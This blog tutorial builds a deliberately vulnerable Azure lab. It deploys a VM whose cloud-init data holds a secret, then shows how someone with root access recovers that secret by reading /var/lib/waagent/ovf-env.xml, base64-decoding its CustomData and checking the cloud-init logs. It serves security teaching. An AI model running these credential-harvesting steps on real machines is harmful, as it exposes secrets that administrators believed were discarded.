Create an Azure Vulnerable Lab: Part #5 – Cloud Init

This article is part of a blog series where I explain common Azure vulnerabilities, how to create a lab such that it reproduces the issues, and how to exploit it. To follow this tutorial, you’ll need an Azure account and Azure CLI tool installed on your machine both of which you can get for free.

1. Cloud init

Azure provide DevOps with the possibility to deploy and easily customize VMs using a set of predefined commands which run as the machine starts for the first time: “cloud-init is a widely used approach to customize a Linux VM as it boots for the first time. You can use cloud-init to install packages and write files, or to configure users and security. Because cloud-init is called during the initial boot process, there are no additional steps or required agents to apply your configuration.

To deploy and run cloud-init on a VM we can use azcli with the custom-data flag:

az vm create --resource-group $resourceGroupName --name $vmName --image "UbuntuLTS" --admin-username $vmUser --admin-password $vmPass --authentication-type "password" --location $location --custom-data cloud-init.txt

An example of cloud-init.txt file that deploys a simple web application as presented by Microsoft on their tutorial:

#cloud-config
package_upgrade: true
packages:
  - nginx
  - nodejs
  - npm
write_files:
  - owner: www-data:www-data
    path: /etc/nginx/sites-available/default
    content: |
      server {
        listen 80;
        location / {
          proxy_pass http://localhost:3000;
          proxy_http_version 1.1;
          proxy_set_header Upgrade $http_upgrade;
          proxy_set_header Connection keep-alive;
          proxy_set_header Host $host;
          proxy_cache_bypass $http_upgrade;
        }
      }
  - owner: azureuser:azureuser
    path: /home/azureuser/myapp/index.js
    content: |
      var express = require('express')
      var app = express()
      var os = require('os');
      app.get('/', function (req, res) {
        res.send('Hello World from host ' + os.hostname() + '!')
      })
      app.listen(3000, function () {
        console.log('Hello world app listening on port 3000!')
      })
runcmd:
  - service nginx restart
  - cd "/home/azureuser/myapp"
  - npm init
  - npm install express -y
  - nodejs index.js

2. Creating a vulnerable cloud-init

The cloud-init file is base64 encoded and deployed to the VM, which is than loaded at boot time by one of the Azure services to run it. While Microsoft recommends not to store any sensitive information in the cloud-init, DevOps that are not aware of this security risk might still do it, which makes it possible for anyone with root access to the VM to read it.

Using azcli, we create a new VM that uses cloud-init to deploy a web app on port 80:

$resourceGroupName = "AZ-CTF"
$vmName = "0xpwnvm"
$vmUser = "0xpwn"
$vmPass = "0xPwn0xPwn!!!"
$location = "West Europe"

az login

az group delete --name $resourceGroupName --yes
az group create --name $resourceGroupName --location $location

az vm create --resource-group $resourceGroupName --name $vmName --image "UbuntuLTS" --admin-username $vmUser --admin-password $vmPass --authentication-type "password" --location $location --custom-data cloud-init.txt

az vm open-port --port 80 --resource-group $resourceGroupName --name $vmName

Compared to the example shown by Microsoft, let’s assume the DevOps uses some sensitive information in the command line during the initialization (i.e.: flag). Note that this information is not saved anywhere on the VM and just echo’d at boot time therefore one might assume it won’t be recoverable.

#cloud-config
package_upgrade: true
packages:
  - nginx
  - nodejs
  - npm
write_files:
  - owner: www-data:www-data
    path: /etc/nginx/sites-available/default
    content: |
      server {
        listen 80;
        location / {
          proxy_pass http://localhost:3000;
          proxy_http_version 1.1;
          proxy_set_header Upgrade $http_upgrade;
          proxy_set_header Connection keep-alive;
          proxy_set_header Host $host;
          proxy_cache_bypass $http_upgrade;
        }
      }
  - owner: 0xpwn:0xpwn
    path: /home/0xpwn/myapp/index.js
    content: |
      var express = require('express')
      var app = express()
      var os = require('os');
      app.get('/', function (req, res) {
        res.send('Hello World from host ' + os.hostname() + '!')
      })
      app.listen(3000, function () {
        console.log('Hello world app listening on port 3000!')
      })
runcmd:
  - service nginx restart
  - cd "/home/0xpwn/myapp"
  - npm init
  - npm install express -y
  - nodejs index.js
  - echo "The flag is 0e65164306a6b117a8a3391bcf6ad16e"
Web app hosted on the VM deployed with cloud-init

3. Exploiting cloud-init sensitive information

Assuming an malicious actor got root access to a VM that was deployed with a cloud-init file – this could be through a vulnerable service, a commands injection in the app, or simply requesting the DevOps teams to get a VM as part of a project (insider threat) – in this case we can simply use SSH creds as the way an attacker got access to the VM is irrelevant for this attack.

> ssh 0xpwn@20.126.57.118
password: 0xPwn0xPwn!!!

Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 5.4.0-1085-azure x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

Once we connect, we can elevate privileges and check the /var/lib/waagent where the cloud-init file is deployed:

0xpwn@0xpwnvm:/# sudo su
root@0xpwnvm:/# ls -la /var/lib/waagent/ | grep ovf
-r--------  1 root root   2769 Jul 10 18:12 ovf-env.xml

This files contains the base64 cloud-init configuration deployed earlier:

cat ovf-env.xml | grep CustomData
<ns1:HostName>0xpwnvm</ns1:HostName><ns1:UserPassword>REDACTED</ns1:UserPassword><ns1:CustomData>I2Nsb3VkLWNvbmZpZwpwYWNrYWdlX3VwZ3JhZGU6IHRydWUKcGFja2FnZXM6CiAgLSBuZ2lueAogIC0gbm9kZWpzCiAgLSBucG0Kd3JpdGVfZmlsZXM6CiAgLSBvd25lcjogd3d3LWRhdGE6d3d3LWRhdGEKICAgIHBhdGg6IC9ldGMvbmdpbngvc2l0ZXMtYXZhaWxhYmxlL2RlZmF1bHQKICAgIGNvbnRlbnQ6IHwKICAgICAgc2VydmVyIHsKICAgICAgICBsaXN0ZW4gODA7CiAgICAgICAgbG9jYXRpb24gLyB7CiAgICAgICAgICBwcm94eV9wYXNzIGh0dHA6Ly9sb2NhbGhvc3Q6MzAwMDsKICAgICAgICAgIHByb3h5X2h0dHBfdmVyc2lvbiAxLjE7CiAgICAgICAgICBwcm94eV9zZXRfaGVhZGVyIFVwZ3JhZGUgJGh0dHBfdXBncmFkZTsKICAgICAgICAgIHByb3h5X3NldF9oZWFkZXIgQ29ubmVjdGlvbiBrZWVwLWFsaXZlOwogICAgICAgICAgcHJveHlfc2V0X2hlYWRlciBIb3N0ICRob3N0OwogICAgICAgICAgcHJveHlfY2FjaGVfYnlwYXNzICRodHRwX3VwZ3JhZGU7CiAgICAgICAgfQogICAgICB9CiAgLSBvd25lcjogMHhwd246MHhwd24KICAgIHBhdGg6IC9ob21lLzB4cHduL215YXBwL2luZGV4LmpzCiAgICBjb250ZW50OiB8CiAgICAgIHZhciBleHByZXNzID0gcmVxdWlyZSgnZXhwcmVzcycpCiAgICAgIHZhciBhcHAgPSBleHByZXNzKCkKICAgICAgdmFyIG9zID0gcmVxdWlyZSgnb3MnKTsKICAgICAgYXBwLmdldCgnLycsIGZ1bmN0aW9uIChyZXEsIHJlcykgewogICAgICAgIHJlcy5zZW5kKCdIZWxsbyBXb3JsZCBmcm9tIGhvc3QgJyArIG9zLmhvc3RuYW1lKCkgKyAnIScpCiAgICAgIH0pCiAgICAgIGFwcC5saXN0ZW4oMzAwMCwgZnVuY3Rpb24gKCkgewogICAgICAgIGNvbnNvbGUubG9nKCdIZWxsbyB3b3JsZCBhcHAgbGlzdGVuaW5nIG9uIHBvcnQgMzAwMCEnKQogICAgICB9KQpydW5jbWQ6CiAgLSBzZXJ2aWNlIG5naW54IHJlc3RhcnQKICAtIGNkICIvaG9tZS8weHB3bi9teWFwcCIKICAtIG5wbSBpbml0CiAgLSBucG0gaW5zdGFsbCBleHByZXNzIC15CiAgLSBub2RlanMgaW5kZXguanMKICAtIGVjaG8gIlRoZSBmbGFnIGlzIDBlNjUxNjQzMDZhNmIxMTdhOGEzMzkxYmNmNmFkMTZlIg==</ns1:CustomData></ns1:LinuxProvisioningConfigurationSet>

Once we decode the content, it’s possible to recover the flag which the DevOps team might have assumed it’s safe to include in the initialization file:

echo "I2Nsb3V [..] MTZlIg==" | base64 --decode | grep flag
  - echo "The flag is 0e65164306a6b117a8a3391bcf6ad16e"

Bonus: if no juicy information is found in the ovf-env.xml make sure to check as well the cloud-init.log and cloud-init-output.log which are both stored in /var/log – these files do no require root permissions to be read.

One thought on “Create an Azure Vulnerable Lab: Part #5 – Cloud Init

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s